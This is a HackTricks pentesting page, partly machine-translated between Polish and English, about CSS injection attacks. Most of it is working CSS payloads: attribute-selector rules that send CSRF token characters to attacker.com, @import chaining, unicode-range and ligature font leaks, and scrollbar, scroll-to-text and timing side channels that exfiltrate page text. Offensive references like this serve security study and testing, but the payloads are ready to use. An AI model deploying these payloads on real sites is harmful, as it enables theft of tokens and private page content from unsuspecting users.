CSS Injection

Wsparcie dla HackTricks

Try Hard Security Group


CSS Injection

Selektor atrybutów

Selektory CSS są tworzone, aby dopasować wartości atrybutów name i value elementu input. Jeśli atrybut value elementu input zaczyna się od określonego znaku, ładowany jest zdefiniowany zewnętrzny zasób:

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

Jednakże, to podejście napotyka ograniczenie w przypadku ukrytych elementów wejściowych (type="hidden"), ponieważ ukryte elementy nie ładują tła.

Ominięcie dla Ukrytych Elementów

Aby obejść to ograniczenie, możesz celować w następny element rodzeństwa, używając kombinatora rodzeństwa ogólnego ~. Reguła CSS następnie stosuje się do wszystkich rodzeństw następujących po ukrytym elemencie wejściowym, powodując załadowanie obrazu tła:

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

A practical example of exploiting this technique is detailed in the provided code snippet. You can view it here.

Prerequisites for CSS Injection

Aby technika CSS Injection była skuteczna, muszą być spełnione określone warunki:

  1. Długość ładunku: Wektor wstrzyknięcia CSS musi obsługiwać wystarczająco długie ładunki, aby pomieścić skonstruowane selektory.

  2. Ponowna ocena CSS: Powinieneś mieć możliwość osadzenia strony, co jest konieczne do wywołania ponownej oceny CSS z nowo wygenerowanymi ładunkami.

  3. Zasoby zewnętrzne: Technika zakłada możliwość korzystania z obrazów hostowanych zewnętrznie. Może to być ograniczone przez Politykę Bezpieczeństwa Treści (CSP) witryny.

Blind Attribute Selector

As explained in this post, możliwe jest połączenie selektorów :has i :not, aby zidentyfikować treść nawet z elementów niewidocznych. Jest to bardzo przydatne, gdy nie masz pojęcia, co znajduje się na stronie internetowej ładującej wstrzyknięcie CSS. Możliwe jest również użycie tych selektorów do wyodrębnienia informacji z kilku bloków tego samego typu, jak w:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

Łącząc to z następującą techniką @import, możliwe jest wyeksfiltrowanie dużej ilości informacji za pomocą wstrzykiwania CSS z niewidocznych stron przy użyciu blind-css-exfiltration.

@import

Poprzednia technika ma pewne wady, sprawdź wymagania wstępne. Musisz być w stanie wysłać wiele linków do ofiary, lub musisz być w stanie iframe'ować stronę podatną na wstrzykiwanie CSS.

Jednak istnieje inna sprytna technika, która wykorzystuje CSS @import, aby poprawić jakość techniki.

Zostało to po raz pierwszy pokazane przez Pepe Vila i działa to w ten sposób:

Zamiast ładować tę samą stronę raz za razem z dziesiątkami różnych ładunków za każdym razem (jak w poprzedniej), zamierzamy załadować stronę tylko raz i tylko z importem do serwera atakującego (to jest ładunek do wysłania do ofiary):

@import url('//attacker.com:5001/start?');
  1. Import będzie otrzymywał jakiś skrypt CSS od atakujących, a przeglądarka go załaduje.

  2. Pierwsza część skryptu CSS, którą wyśle atakujący, to kolejny @import do serwera atakujących.

  3. Serwer atakujących nie odpowie na to żądanie jeszcze, ponieważ chcemy wycieknąć kilka znaków, a następnie odpowiedzieć na ten import ładunkiem, aby wycieknąć następne.

  4. Druga i większa część ładunku będzie ładunkiem wycieku selektora atrybutu

  5. To wyśle do serwera atakujących pierwszy znak sekretu i ostatni.

  6. Gdy serwer atakujących otrzyma pierwszy i ostatni znak sekretu, odpowie na import żądany w kroku 2.

  7. Odpowiedź będzie dokładnie taka sama jak w krokach 2, 3 i 4, ale tym razem spróbuje znaleźć drugi znak sekretu, a następnie przedostatni.

Atakujący będzie powtarzał tę pętlę, aż uda mu się całkowicie wycieknąć sekret.

Możesz znaleźć oryginalny kod Pepe Vili do wykorzystania tego tutaj lub możesz znaleźć prawie ten sam kod, ale skomentowany tutaj.

Skrypt spróbuje odkryć 2 znaki za każdym razem (od początku i od końca), ponieważ selektor atrybutu pozwala na robienie rzeczy takich jak:

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

To pozwala skryptowi na szybsze wycieknięcie sekretu.

Czasami skrypt nie wykrywa poprawnie, że odkryty prefiks + sufiks to już pełna flaga i będzie kontynuował do przodu (w prefiksie) i do tyłu (w sufiksie), a w pewnym momencie się zawiesi. Nie martw się, po prostu sprawdź wyjście, ponieważ możesz tam zobaczyć flagę.

Inne selektory

Inne sposoby dostępu do części DOM za pomocą seletorów CSS:

  • .class-to-search:nth-child(2): To wyszuka drugi element z klasą "class-to-search" w DOM.

  • :empty selektor: Używany na przykład w tym opisie:

[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }

Referencja: Atak oparty na CSS: Wykorzystywanie unicode-range z @font-face, Error-Based XS-Search PoC autorstwa @terjanq

Ogólnym zamiarem jest użycie niestandardowej czcionki z kontrolowanego punktu końcowego i zapewnienie, że tekst (w tym przypadku 'A') jest wyświetlany tą czcionką tylko wtedy, gdy określony zasób (favicon.ico) nie może być załadowany.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Użycie niestandardowej czcionki:

  • Niestandardowa czcionka jest definiowana za pomocą reguły @font-face w tagu <style> w sekcji <head>.

  • Czcionka nazywa się poc i jest pobierana z zewnętrznego punktu końcowego (http://attacker.com/?leak).

  • Właściwość unicode-range jest ustawiona na U+0041, celując w konkretny znak Unicode 'A'.

  1. Element Object z tekstem zapasowym:

  • Element <object> z id="poc0" jest tworzony w sekcji <body>. Element ten próbuje załadować zasób z http://192.168.0.1/favicon.ico.

  • font-family dla tego elementu jest ustawiona na 'poc', zgodnie z definicją w sekcji <style>.

  • Jeśli zasób (favicon.ico) nie załaduje się, zawartość zapasowa (litera 'A') wewnątrz tagu <object> jest wyświetlana.

  • Zawartość zapasowa ('A') będzie renderowana przy użyciu niestandardowej czcionki poc, jeśli zewnętrzny zasób nie może być załadowany.

Stylizacja fragmentu tekstu przewijanego

Pseudo-klasa :target jest używana do wybierania elementu, który jest celem fragmentu URL, jak określono w specyfikacji selektorów CSS Level 4. Ważne jest, aby zrozumieć, że ::target-text nie pasuje do żadnych elementów, chyba że tekst jest wyraźnie celowany przez fragment.

Pojawia się problem bezpieczeństwa, gdy atakujący wykorzystują funkcję Scroll-to-text fragment, co pozwala im potwierdzić obecność konkretnego tekstu na stronie internetowej, ładując zasób z ich serwera poprzez wstrzyknięcie HTML. Metoda polega na wstrzyknięciu reguły CSS, takiej jak ta:

:target::before { content : url(target.png) }

W takich scenariuszach, jeśli tekst "Administrator" jest obecny na stronie, zasób target.png jest żądany z serwera, co wskazuje na obecność tekstu. Przykład tego ataku można wykonać za pomocą specjalnie przygotowanego URL, który osadza wstrzyknięty CSS wraz z fragmentem Scroll-to-text:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Here, the attack manipulates HTML injection to transmit the CSS code, aiming at the specific text "Administrator" through the Scroll-to-text fragment (#:~:text=Administrator). If the text is found, the indicated resource is loaded, inadvertently signaling its presence to the attacker.

For mitigation, the following points should be noted:

  1. Ograniczone dopasowanie STTF: Scroll-to-text Fragment (STTF) jest zaprojektowany do dopasowywania tylko słów lub zdań, co ogranicza jego zdolność do wycieków dowolnych sekretów lub tokenów.

  2. Ograniczenie do kontekstów przeglądania na najwyższym poziomie: STTF działa wyłącznie w kontekstach przeglądania na najwyższym poziomie i nie funkcjonuje w iframe'ach, co sprawia, że wszelkie próby wykorzystania są bardziej zauważalne dla użytkownika.

  3. Konieczność aktywacji przez użytkownika: STTF wymaga gestu aktywacji przez użytkownika do działania, co oznacza, że wykorzystania są możliwe tylko poprzez nawigacje inicjowane przez użytkownika. Ten wymóg znacznie zmniejsza ryzyko automatyzacji ataków bez interakcji użytkownika. Niemniej jednak, autor wpisu na blogu wskazuje na konkretne warunki i obejścia (np. inżynieria społeczna, interakcja z powszechnymi rozszerzeniami przeglądarki), które mogą ułatwić automatyzację ataku.

Świadomość tych mechanizmów i potencjalnych luk jest kluczowa dla utrzymania bezpieczeństwa w sieci i ochrony przed takimi taktykami eksploatacyjnymi.

For more information check the original report: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

You can check an exploit using this technique for a CTF here.

@font-face / unicode-range

You can specify zewnętrzne czcionki dla konkretnych wartości unicode, które będą zbierane tylko wtedy, gdy te wartości unicode są obecne na stronie. For example:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".

Text node exfiltration (I): ligatures

Reference: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

Technika opisana polega na wydobywaniu tekstu z węzła poprzez wykorzystanie ligatur czcionek i monitorowanie zmian w szerokości. Proces składa się z kilku kroków:

  1. Tworzenie niestandardowych czcionek:

  • Czcionki SVG są tworzone z glifami mającymi atrybut horiz-adv-x, który ustawia dużą szerokość dla glifu reprezentującego sekwencję dwóch znaków.

  • Przykład glifu SVG: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, gdzie "XY" oznacza sekwencję dwóch znaków.

  • Te czcionki są następnie konwertowane do formatu woff za pomocą fontforge.

  1. Wykrywanie zmian szerokości:

  • CSS jest używane, aby zapewnić, że tekst nie zawija się (white-space: nowrap) i aby dostosować styl paska przewijania.

  • Pojawienie się poziomego paska przewijania, stylizowanego w sposób odmienny, działa jako wskaźnik (oracle), że w tekście obecna jest określona ligatura, a tym samym określona sekwencja znaków.

  • Użyty CSS:

body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. Proces eksploatacji:

  • Krok 1: Tworzone są czcionki dla par znaków o znacznej szerokości.

  • Krok 2: Wykorzystywana jest sztuczka oparta na pasku przewijania, aby wykryć, kiedy renderowany jest glif o dużej szerokości (ligatura dla pary znaków), co wskazuje na obecność sekwencji znaków.

  • Krok 3: Po wykryciu ligatury generowane są nowe glify reprezentujące sekwencje trzech znaków, włączając wykrytą parę i dodając znak poprzedzający lub następujący.

  • Krok 4: Wykrywanie ligatury trzech znaków jest przeprowadzane.

  • Krok 5: Proces powtarza się, stopniowo ujawniając cały tekst.

  1. Optymalizacja:

  • Obecna metoda inicjalizacji używająca <meta refresh=... nie jest optymalna.

  • Bardziej efektywne podejście mogłoby obejmować sztuczkę CSS @import, poprawiając wydajność eksploatu.

Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq

Ta sztuczka została opublikowana w tym wątku Slackers. Zestaw znaków użyty w węźle tekstowym może być wyciekany przy użyciu domyślnych czcionek zainstalowanych w przeglądarce: nie są potrzebne żadne zewnętrzne - ani niestandardowe - czcionki.

Koncepcja opiera się na wykorzystaniu animacji do stopniowego rozszerzania szerokości div, pozwalając jednemu znakowi na przejście z części 'sufiksowej' tekstu do części 'prefiksowej'. Proces ten skutecznie dzieli tekst na dwie sekcje:

  1. Prefiks: Początkowa linia.

  2. Sufiks: Kolejna linia(y).

Etapy przejścia znaków będą wyglądać następująco:

C ADB

CA DB

CAD B

CADB

Podczas tego przejścia wykorzystywana jest sztuczka unicode-range do identyfikacji każdego nowego znaku, gdy dołącza do prefiksu. Osiąga się to poprzez przełączenie czcionki na Comic Sans, która jest zauważalnie wyższa niż domyślna czcionka, co w konsekwencji wywołuje pojawienie się paska przewijania w pionie. Pojawienie się tego paska przewijania pośrednio ujawnia obecność nowego znaku w prefiksie.

Chociaż ta metoda pozwala na wykrywanie unikalnych znaków w miarę ich pojawiania się, nie określa, który znak jest powtarzany, tylko że wystąpiło powtórzenie.

W zasadzie, unicode-range jest używane do wykrywania znaku, ale ponieważ nie chcemy ładować zewnętrznej czcionki, musimy znaleźć inny sposób. Gdy znak jest znaleziony, otrzymuje wstępnie zainstalowaną czcionkę Comic Sans, która powiększa znak i wywołuje pasek przewijania, który ujawnia znaleziony znak.

Check the code extracted from the PoC:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Ekstrakcja węzła tekstowego (III): wyciek zestawu znaków za pomocą domyślnej czcionki przez ukrywanie elementów (nie wymagające zewnętrznych zasobów)

Referencja: To jest wspomniane jako nieudane rozwiązanie w tym opisie

Ten przypadek jest bardzo podobny do poprzedniego, jednak w tym przypadku celem uczynienia konkretnych znaków większymi niż inne jest ukrycie czegoś jak przycisk, aby nie został naciśnięty przez bota lub obrazka, który nie zostanie załadowany. Możemy więc zmierzyć akcję (lub brak akcji) i wiedzieć, czy konkretny znak jest obecny w tekście.

Ekstrakcja węzła tekstowego (III): wyciek zestawu znaków przez czas pamięci podręcznej (nie wymagające zewnętrznych zasobów)

Referencja: To jest wspomniane jako nieudane rozwiązanie w tym opisie

W tym przypadku moglibyśmy spróbować wyciekować, czy znak znajduje się w tekście, ładując fałszywą czcionkę z tego samego pochodzenia:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

Jeśli występuje dopasowanie, czcionka zostanie załadowana z /static/bootstrap.min.css?q=1. Chociaż nie załaduje się pomyślnie, przeglądarka powinna ją zbuforować, a nawet jeśli nie ma bufora, istnieje mechanizm 304 not modified, więc odpowiedź powinna być szybsza niż inne rzeczy.

Jednakże, jeśli różnica czasowa między zbuforowaną odpowiedzią a niezbuforowaną nie jest wystarczająco duża, to nie będzie to przydatne. Na przykład autor wspomniał: Jednak po testach odkryłem, że pierwszym problemem jest to, że prędkość nie różni się zbytnio, a drugim problemem jest to, że bot używa flagi disk-cache-size=1, co jest naprawdę przemyślane.

Ekstrakcja węzła tekstowego (III): ujawnianie zestawu znaków poprzez czas ładowania setek lokalnych "czcionek" (nie wymagających zewnętrznych zasobów)

Referencja: To jest wspomniane jako nieudane rozwiązanie w tym opisie

W tym przypadku możesz wskazać CSS do załadowania setek fałszywych czcionek z tego samego źródła, gdy wystąpi dopasowanie. W ten sposób możesz zmierzyć czas, jaki zajmuje, i dowiedzieć się, czy znak się pojawia, czy nie, za pomocą czegoś takiego jak:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

A kod bota wygląda tak:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Więc, jeśli czcionka się nie zgadza, czas odpowiedzi podczas odwiedzania bota powinien wynosić około 30 sekund. Jednak jeśli czcionka się zgadza, zostanie wysłanych wiele żądań w celu pobrania czcionki, co spowoduje ciągłą aktywność w sieci. W rezultacie zajmie to więcej czasu, aby spełnić warunek zatrzymania i otrzymać odpowiedź. Dlatego czas odpowiedzi można wykorzystać jako wskaźnik do określenia, czy czcionka się zgadza.

References

Try Hard Security Group

Support HackTricks

Last updated